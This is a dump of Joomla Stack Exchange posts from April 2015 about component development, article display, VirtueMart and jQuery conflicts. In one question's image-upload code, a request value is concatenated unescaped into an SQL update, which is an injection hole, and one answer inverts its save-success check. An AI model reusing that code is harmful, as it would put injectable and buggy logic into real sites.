  <row Id="9438" PostTypeId="1" CreationDate="2015-04-10T04:09:15.403" Score="3" ViewCount="242" Body="&lt;p&gt;We have thousands of articles listed as published on our Joomla 3.3.1 website and blog but could not work out why we could only see about 100 articles on the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have now worked out that articles stop displaying after one year despite none having a &quot;Finish Publishing&quot; date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We've looked everywhere and cannot work out why this would be happening.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerDisplayName="Trish" LastEditorUserId="9471" LastEditDate="2018-06-11T11:38:53.997" LastActivityDate="2018-06-11T11:38:53.997" Title="Joomla 3.3.1 articles disappearing from front end after one year" Tags="|articles|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="9439" PostTypeId="2" ParentId="9030" CreationDate="2015-04-12T15:58:39.593" Score="3" Body="&lt;p&gt;Assuming you know PHP, there are a number of tools to assist you, but here are the general steps you'd use to get your static content into a Joomla database.  In short, each page you import will be an article in the Joomla table #__content.  It's important that you use the Joomla models, as there are a great deal of database relationships that must be correct (i.e. Permissions, tags, searches, etc.) that the Model takes care of.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Crawl your site:&lt;/strong&gt;  Assuming you don't want to manually process each page, I've used &lt;a href=&quot;http://phpcrawl.cuab.de/&quot; rel=&quot;nofollow noreferrer&quot;&gt;PHPCrawl&lt;/a&gt; to crawl our sites to find the pages I'm interested in&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Parse the content from your HTML&lt;/strong&gt;  With each page that you want imported, you'll need to parse the HTML of that page to locate the content you want on the Joomla site.  There are a number of ways to do this, but this &lt;a href=&quot;https://stackoverflow.com/questions/16908521/pull-html-content-from-remote-website-and-display-on-page&quot;&gt;question/answer&lt;/a&gt; will give you a starting point if you don't have your own ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create Categories:&lt;/strong&gt;  Depending on how many categories you have, and whether you want to create them manually, or automatically based on your extracted information above, this code will create a new Joomla Category from PHP.  There is more data that is needed for a category, but you get the idea:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basePath = JPATH_ADMINISTRATOR.'/components/com_categories';&#xA;require_once $basePath.'/models/category.php';&#xA;$catmodel = new CategoriesModelCategory(array('table_path' =&amp;gt; $basePath.'/tables'));&#xA;&#xA;$catData = array();&#xA;$catData['id'] = 0;&#xA;$catData['parent_id'] = 'your_parent_category_id';&#xA;$catData['title'] = 'your_category_title';&#xA;... continue with remaining data from #__categories&#xA;if(!$catmodel-&amp;gt;save($catData)){&#xA;    echo 'Saved Category';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Create Articles:&lt;/strong&gt; For each page that you parse, you then create a Joomla article to contain the HTML.  That HTML can/should be split into the introtext or fulltext columns, but that's up to you.  Creating an article is similiar to creating a category.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$basePath = JPATH_ADMINISTRATOR.'/components/com_content';&#xA;require_once $basePath.'/models/article.php';&#xA;$article_model = new ContentModelArticle(array('table_path' =&amp;gt; $basePath.'/tables'));&#xA;&#xA;$articleData = array();&#xA;$articleData ['id'] = 0;&#xA;$articleData ['catid'] = 'the_category_id_of_the_article';&#xA;$articleData ['title'] = 'your_category_title';&#xA;$articleData ['introtext'] = 'the_HTML_parsed_from_your_webpage';&#xA;... continue with remaining data from #__content&#xA;if(!$article_model -&amp;gt;save($articleData )){&#xA;    echo 'Saved Article';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-12T15:58:39.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9441" PostTypeId="1" AcceptedAnswerId="9442" CreationDate="2015-04-13T06:25:20.543" Score="2" ViewCount="1224" Body="&lt;p&gt;Now in the page &lt;strong&gt;views/cart/tmpl/order_done.php&lt;/strong&gt; there is &lt;code&gt;echo $this-&amp;gt;html&lt;/code&gt;. How can I echo order_number as single record? &lt;code&gt;$this-&amp;gt;order_number&lt;/code&gt; and &lt;code&gt;$order['details']['BT']-&amp;gt;order_number&lt;/code&gt; don't work. Thanks&lt;/p&gt;&#xA;" OwnerUserId="4042" LastActivityDate="2015-04-13T07:02:05.677" Title="Virtuemart: Echo order_number on cart/order_done page" Tags="|joomla-3.x|joomla-2.5|virtuemart|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9442" PostTypeId="2" ParentId="9441" CreationDate="2015-04-13T07:02:05.677" Score="4" Body="&lt;p&gt;&lt;strong&gt;order_done.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'orders.php');&#xA;$order = VirtueMartModelOrders::getOrder($this-&amp;gt;cart-&amp;gt;virtuemart_order_id);&#xA;echo $order['details']['BT']-&amp;gt;order_number;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1998" LastActivityDate="2015-04-13T07:02:05.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9443" PostTypeId="1" AcceptedAnswerId="9473" CreationDate="2015-04-13T07:30:15.487" Score="2" ViewCount="461" Body="&lt;p&gt;Hello All Actually I'm learning joomla component designing and also Writing my own component in which i want to add a custom function. but i have two confusion&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;I saw there is a publish function in joomla that can be found in Admin Controller This functions do some checking on id's and call the same function in model and in model this function calls for same function in table class. why they do so as we can get the Db object in controller using JFactory::getDbo() and can insert, update data in table using it. then why the go so long &lt;/li&gt;&#xA;&lt;li&gt;Second this is the below code &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$data = array('publish' =&gt; 1, 'unpublish' =&gt; 0, 'archive' =&gt; 2, 'trash' =&gt; -2, 'report' =&gt; -3);&#xA;$task = $this-&gt;getTask();&#xA;$value = JArrayHelper::getValue($data, $task, 0, 'int');&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;this code can be found in publish function of controller but I'm still confused about the above line of code why the do it.?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please Help Me&lt;/p&gt;&#xA;" OwnerUserId="3553" LastActivityDate="2015-04-15T11:03:06.863" Title="Publish() Function of joomla library" Tags="|joomla-3.x|joomla-2.5|joomla-3.3.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9444" PostTypeId="1" CreationDate="2015-04-13T11:16:32.280" Score="3" ViewCount="2102" Body="&lt;p&gt;I have a component and module built by an external company, they have hardcoded content into the component - I want to change it so the content is called from the Joomla Article Manager. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The component uses individual codes (called by '+nugget.code+') that I want to match up to a Joomla article, with the same name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the code (within the component) is AB1, I want it to load an article that has the title of 'AB1'. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What would I need to write to include Joomla content in an external component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$article_id = +nugget.code +  &quot;: &quot; +nugget.name + ;&#xA;$article =&amp;amp; JTable::getInstance(&quot;content&quot;);&#xA;$article-&amp;gt;load($article_id);&#xA;&#xA;var $heading = $('&amp;lt;h5&amp;gt;'. $article-&amp;gt;get(&quot;title&quot;).'&amp;lt;/h5&amp;gt;');&#xA;$text.append($heading);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But this isn't working.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The external component calls &quot;+nugget.code +&quot; - (which in this example, let's say the value is &quot;REI1&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The external component also calls &quot;+nugget.name +&quot; - (which in this example, let's say the value is &quot;Test Article&quot;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So '+nugget.code +&quot;: &quot;+nugget.name+' would be 'REI1: Test Article'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I want, is if there is a Joomla article called 'REI1: Test Article', that then needs to be shown.&lt;/p&gt;&#xA;" OwnerUserId="294" LastEditorUserId="294" LastEditDate="2015-04-14T11:24:18.443" LastActivityDate="2015-04-14T12:19:09.743" Title="Display Joomla article contents and title using PHP" Tags="|joomla-3.x|php|articles|com-content|custom-module|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9445" PostTypeId="2" ParentId="9417" CreationDate="2015-04-13T11:56:13.400" Score="1" Body="&lt;p&gt;It occurs to me that running two different versions of jQuery on the same site will give you a lot of headaches, and a lot of coding challenges unless you're a very experienced coder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A quick Google search &lt;a href=&quot;https://forum.virtuemart.net/index.php?topic=119638.0&quot; rel=&quot;nofollow&quot;&gt;revealed that it might be possible&lt;/a&gt; to use jQuery 1.7 with VM:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If your template uses bootstrap.js then to solve a script error with&#xA;  VirtueMart's jQuery (version 1.6.4) you can replace that VM version&#xA;  with jQuery 1.7.1 - in com_virtuemart/assets/js/ the script is named&#xA;  jquery.min.js   VirtueMart 2.0.x and fancybox will still work with&#xA;  that version.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You should try that solution first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it fails, there is a way to run multiple versions of jQuery:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type='text/javascript' src='path/to/jquery_1.8.js'&amp;gt;&amp;lt;/script&amp;gt;  &#xA;&amp;lt;script type='text/javascript'&amp;gt;  &#xA; var $jq = jQuery.noConflict();  &#xA;&amp;lt;/script&amp;gt;  &#xA;&amp;lt;script type='text/javascript' src='path/to/jquery_1.6.js'&amp;gt;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now &lt;code&gt;$jq&lt;/code&gt; belongs to jQuery 1.8, and &lt;code&gt;$&lt;/code&gt; to jQuery 1.6. Finally you have to go through your template code and change the jQuery code accordingly.&lt;/p&gt;&#xA;" OwnerUserId="1629" LastActivityDate="2015-04-13T11:56:13.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9446" PostTypeId="1" CreationDate="2015-04-13T13:45:55.820" Score="3" ViewCount="820" Body="&lt;p&gt;I have created a new component. At the administrator backend, the active tab goes back to the first tab (which was declared in edit.php) when I click on 'save' after I have modified a field in another tab. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I trace my codes, and it follows similarly to that in contents &lt;code&gt;(/article/views/tmpl/edit.php)&lt;/code&gt; and weblinks &lt;code&gt;(/weblink/views/tmpl/edit.php)&lt;/code&gt;, where the active tab works; meaning it stays at the same tab after &quot;save&quot;. I am using Joomla 3.3.6&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Here's an extract of my codes...&lt;/h1&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;// Include the component HTML helpers.&#xA;JHtml::addIncludePath(JPATH_COMPONENT . '/helpers/html');&#xA;&#xA;JHtml::_('behavior.formvalidation');&#xA;// JHtml::_('behavior.keepalive');&#xA;JHtml::_('formbehavior.chosen', 'select');&#xA;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;Joomla.submitbutton = function(task)&#xA;{&#xA;    if (task == 'subscription.cancel' ||     document.formvalidator.isValid(document.id('item-form')))&#xA;    {&#xA;        &amp;lt;?php echo $this-&amp;gt;form-&amp;gt;getField('description')-&amp;gt;save(); ?&amp;gt;&#xA;        Joomla.submitform(task, document.getElementById('item-form'));&#xA;    }&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;&#xA;&amp;lt;form action=&quot;&amp;lt;?php echo JRoute::_('index.php? option=com_subscriptions&amp;amp;view=subscription&amp;amp;layout=edit&amp;amp;id='.(int) $this-&amp;gt;item-&amp;gt;id); ?&amp;gt;&quot; method=&quot;post&quot; name=&quot;adminForm&quot; id=&quot;item-form&quot; class=&quot;form-validate&quot;&amp;gt;&#xA;&#xA;&amp;lt;?php echo JLayoutHelper::render('joomla.edit.title_alias', $this); ?&amp;gt;&#xA;&#xA;  &amp;lt;div class=&quot;form-horizontal&quot;&amp;gt;&#xA;&amp;lt;?php echo JHtml::_('bootstrap.startTabSet', 'myTab', array('active' =&amp;gt; 'general')); ?&amp;gt;         &#xA;&#xA;    &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', empty($this-&amp;gt;item-&amp;gt;id) ? JText::_('COM_SUBSCRIPTIONS_NEW_SUBSCRIPTION', true) : JText::_('COM_SUBSCRIPTIONS_EDIT_SUBSCRIPTION', $this-&amp;gt;item-&amp;gt;id, true)); ?&amp;gt;&#xA;    &amp;lt;div class=&quot;row-fluid&quot;&amp;gt;&#xA;        &amp;lt;div class=&quot;span9&quot;&amp;gt;&#xA;......&#xA;&#xA;    &amp;lt;input type=&quot;hidden&quot; name=&quot;task&quot; value=&quot;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;        &lt;/h1&gt;&#xA;" OwnerUserId="4060" LastEditorUserId="126" LastEditDate="2015-08-21T14:00:31.480" LastActivityDate="2018-07-20T09:57:33.173" Title="Active tab changes after save in Joomla administrator" Tags="|joomla-3.x|development|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9447" PostTypeId="2" ParentId="9429" CreationDate="2015-04-13T15:28:32.487" Score="4" Body="&lt;p&gt;You will need to override the admin template to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a pretty detailed article here that describes how to do this. It was written for Joomla 2.5 but should also work for Joomla 3.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://magazine.joomla.org/issues/item/721-Customizing-the-Admin-Menu&quot; rel=&quot;nofollow&quot;&gt;http://magazine.joomla.org/issues/item/721-Customizing-the-Admin-Menu&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="473" LastActivityDate="2015-04-13T15:28:32.487" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9449" PostTypeId="2" ParentId="372" CreationDate="2015-04-13T16:50:49.253" Score="0" Body="&lt;p&gt;You should locate &lt;code&gt;php.ini&lt;/code&gt; in &lt;code&gt;C:\xampp\php&lt;/code&gt; or &lt;code&gt;C:\wamp\bin\php\php5.5.12&lt;/code&gt;&#xA;and change &lt;code&gt;memory_limit = 512MB&lt;/code&gt; and &lt;code&gt;max_execution_time=300&lt;/code&gt;&#xA;after that you need to go &lt;code&gt;C:\xampp\htdocs\user\installation\sql\mysql&lt;/code&gt;&#xA;then open joomla.sql or something.sql and then find all &lt;code&gt;ENGINE=InnoDB&lt;/code&gt; and change them to &lt;code&gt;ENGINE=MyIsam&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="4062" LastEditorUserId="1629" LastEditDate="2015-04-13T18:47:36.037" LastActivityDate="2015-04-13T18:47:36.037" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9450" PostTypeId="1" CreationDate="2015-04-13T18:44:58.910" Score="2" ViewCount="403" Body="&lt;p&gt;I'm developing my own component for Joomla. I know that in many components single records and their categories are stored in different tables of the database. But how about storing them in ONE table using parents? Each record and &quot;category&quot; has title, some content/description, metadata, parent field and other data in common. Parents for records are their categories and parents for categories are their parent categories (if needed). And in my table there is the column &lt;strong&gt;type&lt;/strong&gt; (=record or =category) and I can just operate them in my views. This way minimizes sql-queries and number of models/views. I can understand that it's a new and maybe strange idea but is it good to simplify the things in such way and what problems may be appeared in the future?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATED:&lt;/strong&gt; And if storing the relations in such one table is a bad idea how about storing titles, content, metadata and other data in common in one table but only parent's relations (id, parent_id) in another table?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-04-15T12:10:37.233" LastActivityDate="2015-04-15T12:10:37.233" Title="How about storing single records and their categories in one table" Tags="|joomla-3.x|component|development|joomla-api|mvc|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9451" PostTypeId="1" AcceptedAnswerId="9472" CreationDate="2015-04-13T19:49:31.653" Score="0" ViewCount="191" Body="&lt;p&gt;I have to make some changes on the article edition workflow to add some features in the middle of the current edition process.&lt;/p&gt;&#xA;&lt;p&gt;I mean, the articles when published must be saved in a different status, and will be approved by the admin before being published. Also if an author edits the article, I must keep the original article published and the new version will be in pending status until it is approved and the original article is updated. I was thinking of duplicating the article programmatically to suit this task.&lt;/p&gt;&#xA;&lt;p&gt;I was wondering, what do I have to override, if I have to change the article edition component (is it &lt;code&gt;com_content&lt;/code&gt;?), or what do you suggest that I do?&lt;/p&gt;&#xA;" OwnerUserId="1744" LastEditorUserId="12352" LastEditDate="2020-09-15T08:24:53.737" LastActivityDate="2020-09-15T08:24:53.737" Title="Change article edition workflow" Tags="|articles|com-content|article-manager|workflow|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="9452" PostTypeId="1" CreationDate="2015-04-13T21:46:45.980" Score="0" ViewCount="134" Body="&lt;p&gt;I have several Super Admins built into my design, I use them for support from multiple systems. Each has a different email address that I receive emails from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that ALL of my super admins are getting system notifications, even though their account is set to: Receive System Emails: No&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the database (searching for a particular email) and even the setting in the DB is set to '0'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Searching on google provides no result either (they REALLY need to archive the 1.5 stuff).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyone have any thoughts on this?&lt;/p&gt;&#xA;" OwnerUserId="4064" LastEditorUserId="1520" LastEditDate="2015-04-14T06:45:40.567" LastActivityDate="2015-04-14T06:45:40.567" Title="Admins getting system emails with state=disabled" Tags="|joomla-3.x|administrator|emails|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9453" PostTypeId="2" ParentId="9452" CreationDate="2015-04-13T22:50:54.380" Score="1" Body="&lt;p&gt;I guess that the extension sending notifications is only checking sendEmail. Try to disable 'Receive System Emails' in Super Admins.&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-13T22:50:54.380" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9454" PostTypeId="2" ParentId="9450" CreationDate="2015-04-13T23:07:36.197" Score="3" Body="&lt;p&gt;According to SQL theory, a 1:N relationship has to be represented by a table. In this model, any query can navigate the information in a consistent way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Forgetting the theory, you can store the relationship values into a field, for instance as a Json-encoded array. However, you are going to need someway to parse this &quot;multivalued field&quot; to manage it. In LAMP, it is not possible in MySQL and you would have to access it via PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To explore alternative ways to represent an Object: &lt;a href=&quot;https://www.youtube.com/watch?v=TJHJlOMaD8g&quot; rel=&quot;nofollow&quot;&gt;Jooctrine - Doctrine ORM in Joomla!&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2015-04-13T23:07:36.197" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9456" PostTypeId="1" AcceptedAnswerId="9460" CreationDate="2015-04-14T06:35:08.090" Score="4" ViewCount="6038" Body="&lt;p&gt;I'm developing a custom component for creating, editing and saving data of single records including images. I know that in &lt;strong&gt;admin/models/forms/record.xml&lt;/strong&gt; there must be field &lt;code&gt;name=&quot;image&quot; type=&quot;file&quot; accept=&quot;image/*&quot;&lt;/code&gt; but how and where do I need to write the simple php-code for uploading images to specific folder, in which file and how? Where to write the code from example by the link &lt;a href=&quot;https://docs.joomla.org/How_to_use_the_filesystem_package&quot; rel=&quot;nofollow&quot;&gt;https://docs.joomla.org/How_to_use_the_filesystem_package&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDITED:&lt;/strong&gt; Now I added in my &lt;strong&gt;admin/com_mycom/controllers/record.php&lt;/strong&gt; the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($data = array(), $key = 'id')&#xA;    {&#xA;        $file = JRequest::getVar('image', null, 'files', 'array');&#xA;        $filename = JFile::makeSafe($file['name']);&#xA;        $src = $file['tmp_name'];&#xA;        $dest = &quot;media/com_mycom/img/&quot;.$filename;&#xA;        if (JFile::upload($src, $dest)) {&#xA;              //Redirect to a page of your choice&#xA;        } else {&#xA;              //Redirect and throw an error message&#xA;        }&#xA;        parent::save();&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;$data = array(), $key = 'id' I got from function allowEdit()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLVED BUT...&lt;/strong&gt; So the problem was in the name of input. JRequest::getVar contains 'image' but input type=&quot;file&quot; has name=&quot;&lt;strong&gt;jform[image]&lt;/strong&gt;&quot;. I've found the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$jinput = JFactory::getApplication()-&amp;gt;input;&#xA;$files = $jinput-&amp;gt;files-&amp;gt;get('jform');&#xA;$file = $files['image'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$file = JRequest::getVar('image', null, 'files', 'array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now the file is being uploaded but unfortunately its name is not being updated in the DB&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, I've added under &lt;code&gt;if (JFile::upload($src, $dest)) {&lt;/code&gt; the code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$thisID = JRequest::getVar('id');&#xA;$db = JFactory::getDbo();&#xA;$query = $db-&amp;gt;getQuery(true);&#xA;$fields = array($db-&amp;gt;quoteName('image') . &quot; = &quot; . $db-&amp;gt;quote($filename));&#xA;$conditions = array($db-&amp;gt;quoteName('id') . &quot; = &quot; . $thisID);&#xA;$query-&amp;gt;update($db-&amp;gt;quoteName('#__mycom'))-&amp;gt;set($fields)-&amp;gt;where($conditions);&#xA;$db-&amp;gt;setQuery($query);&#xA;$db-&amp;gt;execute($query);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but is there some simplest way to update filename in the DB ?&lt;/p&gt;&#xA;" OwnerUserId="4042" LastEditorUserId="4042" LastEditDate="2015-04-14T23:16:34.007" LastActivityDate="2015-04-14T23:16:34.007" Title="How to create a simple image uploader for custom component" Tags="|joomla-3.x|development|joomla-api|file-upload|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9457" PostTypeId="2" ParentId="9446" CreationDate="2015-04-14T06:59:33.387" Score="2" Body="&lt;p&gt;On the third last line above&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php echo JHtml::_('bootstrap.addTab', 'myTab', 'general', empty($this-&amp;gt;item-&amp;gt;id) ? JText::_('COM_SUBSCRIPTIONS_NEW_SUBSCRIPTION', true) : JText::_('COM_SUBSCRIPTIONS_EDIT_SUBSCRIPTION', $this-&amp;gt;item-&amp;gt;id, true)); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think it should be &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JText::sprintf('COM_SUBSCRIPTIONS_EDIT_SUBSCRIPTION', $this-&amp;gt;item-&amp;gt;id, true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;instead of&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JText::_('COM_SUBSCRIPTIONS_EDIT_SUBSCRIPTION', $this-&amp;gt;item-&amp;gt;id, true)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4065" LastActivityDate="2015-04-14T06:59:33.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9458" PostTypeId="1" AcceptedAnswerId="9459" CreationDate="2015-04-14T07:12:26.517" Score="3" ViewCount="1290" Body="&lt;p&gt;I have made a module in which I am fetching articles from a keyword present in alias.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    $query=&quot;myquery&quot;;&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;&#xA;    $result=$db-&amp;gt;loadAssocList();&#xA;&#xA;    foreach($result as $row){&#xA;&#xA;$url = &quot;index.php?option=com_content&amp;amp;view=article&amp;amp;id=&quot;.$row['aid'].&quot;:&quot;.$row['aalias'].&quot;&amp;amp;catid=&quot;.$row['cid'].&quot;:&quot;.$row['calias'].&quot;&amp;amp;Itemid=???&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In building URL, how I can find item id?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried to get item id from the following code found at &#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/803/get-full-link-from-menu-item-field-type&quot;&gt;Get full link from menu item field type&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$itemid = $params-&amp;gt;get('field_name'); &#xA;&#xA;$app = JFactory::getApplication();&#xA;$menu = $app-&amp;gt;getMenu();&#xA;$link = $menu-&amp;gt;getItem($itemid)-&amp;gt;link;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But not sure what to pass in $params-&gt;get('field_name') in this case.&lt;/p&gt;&#xA;" OwnerUserId="3517" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-04-14T07:27:41.677" Title="Item id for the articles fetched by alias" Tags="|itemid|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9459" PostTypeId="2" ParentId="9458" CreationDate="2015-04-14T07:27:41.677" Score="5" Body="&lt;p&gt;Use content component route helper. It will find &lt;code&gt;Itemid&lt;/code&gt; for you.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;&#xA;include JPATH_SITE.'/components/com_content/helpers/route.php';&#xA;&#xA;$articleLink = ContentHelperRoute::getArticleRoute($row['aid'], $row['cid']);&#xA;&#xA;// SEF url&#xA;$articleLinkSEF = JRoute::_($articleLink);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastActivityDate="2015-04-14T07:27:41.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9460" PostTypeId="2" ParentId="9456" CreationDate="2015-04-14T07:42:50.057" Score="4" Body="&lt;p&gt;You should add it to your controller, probably &lt;code&gt;controllers/record.php&lt;/code&gt;. Override &lt;code&gt;save&lt;/code&gt; function.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function save($key = NULL, $urlVar = NULL)&#xA;{&#xA;  // Upload your image&#xA;&#xA;  // Save item&#xA;  parent::save();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;Failed to move file&quot; error&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This came from wrong &lt;code&gt;$dest&lt;/code&gt; value. Destination has to be full path.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Wrong:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dest = &quot;media/com_mycom/img/&quot;.$filename;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Correct:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$dest = JPATH_SITE.&quot;/media/com_mycom/img/&quot;.$filename;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2015-04-14T09:16:39.450" LastActivityDate="2015-04-14T09:16:39.450" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="9461" PostTypeId="2" ParentId="9456" CreationDate="2015-04-14T12:01:01.420" Score="1" Body="&lt;p&gt;I would suggest you to refer administrator part of &lt;code&gt;com_media&lt;/code&gt; component. It has all file upload related functionality developed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It also includes error handling and other checks related to file system.&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-14T12:01:01.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
